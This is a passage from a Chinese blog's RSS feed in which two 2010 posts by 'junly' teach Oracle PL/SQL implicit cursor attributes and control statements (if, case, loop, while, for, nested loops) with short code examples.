#008080">SQL游标</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />--</span><span style="color: #008080">游标：是指向上下文区的指针</span><span style="color: #008080"><br />
<img id="Codehighlighter1_24_494_Open_Image" onclick="this.style.display='none'; Codehighlighter1_24_494_Open_Text.style.display='none'; Codehighlighter1_24_494_Closed_Image.style.display='inline'; Codehighlighter1_24_494_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_24_494_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_24_494_Closed_Text.style.display='none'; Codehighlighter1_24_494_Open_Image.style.display='inline'; Codehighlighter1_24_494_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" /></span><span id="Codehighlighter1_24_494_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**/</span><span id="Codehighlighter1_24_494_Open_Text"><span style="color: #008080">/*</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;1&nbsp;隐含游标<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;隐含游标又称SQL游标，专门用于处理SELECT&nbsp;INTO，INSERT，UPDATE及DELETE语句，当在PL/SQL中执行<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;INSERT，UPDATE及DELETE时，为取得DML语句作用的结果，必须要使用SQL游标属性，SQL游标包括sql%found,<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;sql%notfound,sql%rowcount,sql%isopen四个属性。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;（1）sql%isopen&nbsp;用日元确定SQL游标是否已经打开，当执行SELECT&nbsp;INTO，INSERT，UPDATE及DELETE语句时会隐<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;含打开游标，并且在执行完成后隐含关闭游标。所以对于开发人员该属性永远为false,不需要使用该属性。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;（2）sql%found/sql%notfound&nbsp;用于确定SQL语句执行是否成功。<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL语句执行是否成功根据是否有作用来判断，当SQL语句有作用时，sql%found属性值为TRUE(sql%notfound属性值为FALSE)；否则反之。</span><span style="color: #008080">*/</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">declare</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v_name&nbsp;user_info.name</span><span style="color: #808080">%</span><span style="color: #000000">type&nbsp;:</span><span style="color: #808080">=</span><span style="color: #000000">&nbsp;</span><span style="color: #ff0000">'</span><span style="color: #ff0000">junly</span><span style="color: #ff0000">'</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">begin</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">update</span><span style="color: #000000">&nbsp;user_info&nbsp;</span><span style="color: #0000ff">set</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #000000">money</span><span style="color: #000000">&nbsp;</span><span style="color: #808080">=</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #000000">money</span><span style="color: #808080">*</span><span style="font-weight: bold; color: #800000">1.1</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">where</span><span style="color: #000000">&nbsp;name</span><span style="color: #808080">=</span><span style="color: #000000">v_name;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;sql</span><span style="color: #808080">%</span><span style="color: #000000">found&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbms_output.put_line(</span><span style="color: #ff0000">'</span><span style="color: #ff0000">语句执行成功</span><span style="color: #ff0000">'</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbms_output.put_line(</span><span style="color: #ff0000">'</span><span style="color: #ff0000">用户名不存在</span><span style="color: #ff0000">'</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">&nbsp;&nbsp;&nbsp;（3）sql%rowcount&nbsp;返回SQL语句作用的总计行数</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">declare</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v_name&nbsp;user_info.name</span><span style="color: #808080">%</span><span style="color: #000000">type&nbsp;:</span><span style="color: #808080">=</span><span style="color: #000000">&nbsp;</span><span style="color: #ff0000">'</span><span style="color: #ff0000">junly</span><span style="color: #ff0000">'</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">begin</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">update</span><span style="color: #000000">&nbsp;user_info&nbsp;</span><span style="color: #0000ff">set</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #000000">money</span><span style="color: #000000">&nbsp;</span><span style="color: #808080">=</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #000000">money</span><span style="color: #808080">*</span><span style="font-weight: bold; color: #800000">1.1</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">where</span><span style="color: #000000">&nbsp;name</span><span style="color: #808080">=</span><span style="color: #000000">v_name;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbms_output.put_line(</span><span style="color: #ff0000">'</span><span style="color: #ff0000">修改了</span><span style="color: #ff0000">'</span><span style="color: #808080">||</span><span style="color: #000000">sql</span><span style="color: #808080">%</span><span style="color: #0000ff">rowcount</span><span style="color: #808080">||</span><span style="color: #ff0000">'</span><span style="color: #ff0000">行</span><span style="color: #ff0000">'</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">;<br />
<img id="Codehighlighter1_1097_1127_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1097_1127_Open_Text.style.display='none'; Codehighlighter1_1097_1127_Closed_Image.style.display='inline'; Codehighlighter1_1097_1127_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1097_1127_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1097_1127_Closed_Text.style.display='none'; Codehighlighter1_1097_1127_Open_Image.style.display='inline'; Codehighlighter1_1097_1127_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" /></span><span id="Codehighlighter1_1097_1127_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**/</span><span id="Codehighlighter1_1097_1127_Open_Text"><span style="color: #008080">/*</span><span style="color: #008080">2&nbsp;显式游标<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用于处理SELECT语句<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" /></span><span style="color: #008080">*/</span></span></div>
<img src ="http://www.blogjava.net/ywj-316/aggbug/327488.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-07-29 17:13 <a href="http://www.blogjava.net/ywj-316/archive/2010/07/29/327488.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle控制语句</title><link>http://www.blogjava.net/ywj-316/archive/2010/07/29/327487.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Jul 2010 09:12:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/07/29/327487.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/327487.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/07/29/327487.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/327487.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/327487.html</trackback:ping><description><![CDATA[<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #008080">--</span><span style="color: #008080">控制语句</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />--</span><span style="color: #008080">if</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;condition&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000">&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />elsif&nbsp;condition&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">case</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #ff00ff">case</span><span style="color: #000000">&nbsp;v_no<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">10</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">20</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">30</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;</span><span style="color: #ff00ff">case</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">------------</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #ff00ff">case</span><span style="color: #000000">&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;v_no</span><span style="color: #808080">&gt;</span><span style="font-weight: bold; color: #800000">30</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;v_no</span><span style="color: #808080">&gt;</span><span style="font-weight: bold; color: #800000">20</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;v_no</span><span style="color: #808080">&gt;</span><span style="font-weight: bold; color: #800000">10</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">then</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;</span><span style="color: #ff00ff">case</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">loop</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #0000ff">exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;condition;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">while</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">while</span><span style="color: #000000">&nbsp;condition&nbsp;loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">for</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #808080">in</span><span style="color: #000000">&nbsp;</span><span style="color: #ff0000">[</span><span style="color: #ff0000">reverse</span><span style="color: #ff0000">]</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />v_start..v_end&nbsp;loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;statements;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">i是循环控制变量，不需要显式定义，v_start,v_end分别为下界值和上界值。如果指定reverse则循环变量自动减一。</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">begin</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #808080">in</span><span style="color: #000000">&nbsp;</span><span style="color: #ff00ff">reverse</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">1</span><span style="color: #000000">..</span><span style="font-weight: bold; color: #800000">10</span><span style="color: #000000">&nbsp;loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;dbms_output.put_line(i);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008080">--</span><span style="color: #008080">10,9,8,7,6,5,4,3,2,1</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />--</span><span style="color: #008080">嵌套循环</span><span style="color: #008080"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">declare</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;result&nbsp;</span><span style="font-weight: bold; color: #000000">int</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">begin</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #808080">&lt;&lt;</span><span style="color: #0000ff">outer</span><span style="color: #808080">&gt;&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #808080">in</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">1</span><span style="color: #000000">..</span><span style="font-weight: bold; color: #800000">10</span><span style="color: #000000">&nbsp;loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #808080">&lt;&lt;</span><span style="color: #0000ff">inner</span><span style="color: #808080">&gt;&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;j&nbsp;</span><span style="color: #808080">in</span><span style="color: #000000">&nbsp;</span><span style="font-weight: bold; color: #800000">1</span><span style="color: #000000">..</span><span style="font-weight: bold; color: #800000">10</span><span style="color: #000000">&nbsp;loop<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:</span><span style="color: #808080">=</span><span style="color: #000000">i</span><span style="color: #808080">*</span><span style="color: #000000">j;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">outer</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">when</span><span style="color: #000000">&nbsp;i</span><span style="color: #808080">=</span><span style="font-weight: bold; color: #800000">9</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbms_output.put_line(i</span><span style="color: #808080">||</span><span style="color: #000000">j);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop&nbsp;</span><span style="color: #0000ff">inner</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">end</span><span style="color: #000000">&nbsp;loop&nbsp;</span><span style="color: #0000ff">outer</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">end</span><span style="color: #000000">;</span></div>
<img src ="http://www.blogjava.net/ywj-316/aggbug/327487.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-07-29 17:12 <a href="http://www.blogjava.net/ywj-316/archive/2010/07/29/327487.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>